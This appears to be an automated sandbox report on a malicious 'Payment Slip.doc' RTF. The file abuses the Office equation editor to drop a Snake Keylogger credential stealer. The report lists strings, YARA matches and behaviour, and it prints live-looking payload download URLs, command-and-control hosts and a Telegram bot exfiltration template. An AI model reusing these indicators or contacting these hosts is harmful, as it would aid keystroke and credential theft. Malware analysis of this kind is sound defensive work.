Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 26 Sep 2024 05:47:44 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exe
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exea
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exee
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exej
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exerrC:
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024C5000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: vvndewepeter91026.exe, 00000008.00000002.915012571.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.915012571.0000000005BE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000240C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: vvndewepeter91026.exe, 00000005.00000002.405973235.0000000002547000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000250A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002502000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000023F4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002495000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024F3000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002487000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002437000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000024A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000260C000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025DE000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003417000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: vvndewepeter91026.exe, 00000008.00000002.913786371.000000000261F000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003521000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: vvndewepeter91026.exe, 00000008.00000002.914618854.00000000034B2000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000347A000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003566000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.0000000003458000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000352E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.914618854.000000000350C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: Payment Slip.doc
Malicious sample detected (through community Yara rule)
Source: Payment Slip.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026604B 5_2_0026604B
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026B160 5_2_0026B160
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026A408 5_2_0026A408
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026B588 5_2_0026B588
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026B598 5_2_0026B598
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026A840 5_2_0026A840
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_0026AC78 5_2_0026AC78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_0023903A 8_2_0023903A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_002340F8 8_2_002340F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_0023390C 8_2_0023390C
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00238958 8_2_00238958
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_002331B1 8_2_002331B1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00237200 8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00238278 8_2_00238278
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00234A9F 8_2_00234A9F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00239BC2 8_2_00239BC2
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00233482 8_2_00233482
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00234D6F 8_2_00234D6F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00233E28 8_2_00233E28
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00235E70 8_2_00235E70
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_0023DEC8 8_2_0023DEC8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00236728 8_2_00236728
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_002347D0 8_2_002347D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_0023DEB9 8_2_0023DEB9
